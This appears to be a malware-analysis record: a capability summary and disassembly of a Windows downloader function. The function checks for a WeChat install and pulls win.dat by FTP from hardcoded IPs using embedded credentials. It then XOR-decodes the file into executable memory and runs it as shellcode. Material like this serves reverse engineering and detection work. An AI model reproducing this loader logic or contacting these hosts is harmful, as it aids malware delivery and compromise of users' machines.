Function at 0x4014e0
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Check if file exists
Connect to http server
Create http request
Execute shellcode via indirect call
Query or enumerate registry value
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
mov word [ebp - 0x1b0], ax
mov dword [ebp - 0x1ae], eax
mov dword [ebp - 0x1aa], eax
mov dword [ebp - 0x1a6], eax
mov word [ebp - 0x1a2], ax
call esi
lea ecx, [ebp - 0x19c]
push ecx
mov edi, eax
call fcn.00401000
add esp, 4
test eax, eax
jne 0x40157c
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401540
lea edx, [ebp - 0x19c]
push edx
call fcn.00401270
add esp, 4
test eax, eax
jne 0x40157c
call esi
sub eax, edi
cmp eax, 0x7530
ja 0x4018d5
push 0xbb8
call ebx
lea eax, [ebp - 0x19c]
push eax
call fcn.00401000
add esp, 4
test eax, eax
je 0x401540
mov edx, 3
mov word [ebp - 0x1ae], dx
mov eax, 0xe
mov ecx, 0x7e8
lea edx, [ebp - 0x194]
mov word [ebp - 0x1aa], ax
mov word [ebp - 0x1b0], cx
push edx
lea eax, [ebp - 0x1b0]
mov ecx, 0x11
push eax
mov word [ebp - 0x1a8], cx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
je 0x4018d5
lea ecx, [ebp - 0x194]
push ecx
lea edx, [ebp - 0x19c]
push edx
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
cmp eax, 0xffffffff
jne 0x4018d5
lea eax, [ebp - 0x188]
push eax
push 0xf003f
xor ebx, ebx
push ebx
push str.SOFTWARETencentWeChat
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4018d5
mov eax, dword [ebp - 0x188]
lea ecx, [ebp - 0x18c]
push ecx
lea edx, [ebp - 0x11c]
push edx
push ebx
push ebx
push str.InstallPath
push eax
mov dword [ebp - 0x18c], 0xff
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4018d5
lea eax, [ebp - 0x11c]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401647
mov ecx, dword [str.WeChat.exe]
mov edx, dword [0x4031e4]
mov dword [eax], ecx
mov ecx, dword [0x4031e8]
mov dword [eax + 4], edx
lea edx, [ebp - 0x11c]
push edx
mov dword [eax + 8], ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4018d5
mov eax, dword [ebp - 0x188]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [str.sl_206.233.240.32_30006]
mov edx, dword [0x4031cc]
mov eax, dword [0x4031d0]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [0x4031d4]
mov dword [ebp - 0x10], ecx
mov ecx, dword [str.38.47.239.5]
mov dword [ebp - 0x180], ecx
mov ecx, dword [str.safe]
mov dword [ebp - 0x18], edx
mov edx, dword [0x4031d8]
mov dword [ebp - 0x14], eax
mov eax, dword [0x4031dc]
mov dword [ebp - 0x160], ecx
mov ecx, dword [0x4031b0]
mov dword [ebp - 0xc], edx
mov edx, dword [0x4031c0]
mov dword [ebp - 8], eax
mov eax, dword [0x4031c4]
mov dword [ebp - 0x17c], edx
mov dl, byte [0x4031b8]
mov dword [ebp - 0x178], eax
mov eax, dword [str.123321c]
mov dword [ebp - 0x14c], ecx
mov byte [ebp - 0x15c], dl
mov dword [ebp - 0x150], eax
mov ecx, 7
mov esi, str.win.dat_206.233.240.32_30006
lea edi, [ebp - 0x13c]
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
push 0
movsb byte es:[edi], byte [esi]
push str.WinInet_Ftp
mov dword [ebp - 0x184], ebx
mov dword [ebp - 0x140], 1
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x8000000
push 1
mov esi, eax
lea edx, [ebp - 0x150]
push edx
lea eax, [ebp - 0x160]
push eax
push 0
lea ecx, [ebp - 0x180]
push ecx
push esi
mov dword [ebp - 0x1a0], esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
mov dword [ebp - 0x190], edi
test edi, edi
jne 0x40178e
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x4018d5
push 0
push closesocket
push closesocket
lea edx, [ebp - 0x1c]
push edx
push edi
call dword [sym.imp.WININET.dll_FtpOpenFileA]
mov esi, eax
test esi, esi
jne 0x4017c2
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
mov eax, dword [ebp - 0x1a0]
push eax
call esi
jmp 0x4018d5
push 0
push esi
call dword [sym.imp.WININET.dll_FtpGetFileSize]
mov edi, eax
push edi
mov dword [ebp - 0x198], edi
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
push 0x1000
mov dword [ebp - 0x18c], eax
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 8
mov dword [ebp - 0x188], eax
mov edx, dword [ebp - 0x188]
lea ecx, [ebp - 0x184]
push ecx
push 0x1000
push edx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40183a
mov eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x188]
mov edx, dword [ebp - 0x18c]
push eax
push ecx
lea eax, [ebx + edx]
push eax
call sub.MSVCR90.dll_memcpy
add ebx, dword [ebp - 0x184]
add esp, 0xc
cmp edi, ebx
ja 0x4017f2
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
mov ecx, dword [ebp - 0x190]
push ecx
call esi
mov edx, dword [ebp - 0x1a0]
push edx
call esi
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0x190], esi
test esi, esi
je 0x4018d5
xor ecx, ecx
test edi, edi
jbe 0x4018c8
mov edi, dword [ebp - 0x18c]
sub edi, esi
nop
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
lea edx, [edx + edx*2]
mov eax, ecx
sub eax, edx
jne 0x40189d
lea eax, [ecx + esi]
mov dl, byte [edi + eax]
xor dl, 0x57
jmp 0x4018bd
cmp eax, 1
jne 0x4018ad
lea eax, [ecx + esi]
mov dl, byte [edi + eax]
xor dl, 0x77
jmp 0x4018bd
cmp eax, 2
jne 0x4018bf
lea eax, [ecx + esi]
mov dl, byte [edi + eax]
xor dl, cl
xor dl, 0x36
mov byte [eax], dl
inc ecx
cmp ecx, dword [ebp - 0x198]
jb 0x401880
lea eax, [ebp - 0x180]
push eax
call dword [ebp - 0x190]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00401930
mov esp, ebp
pop ebp
ret 0x10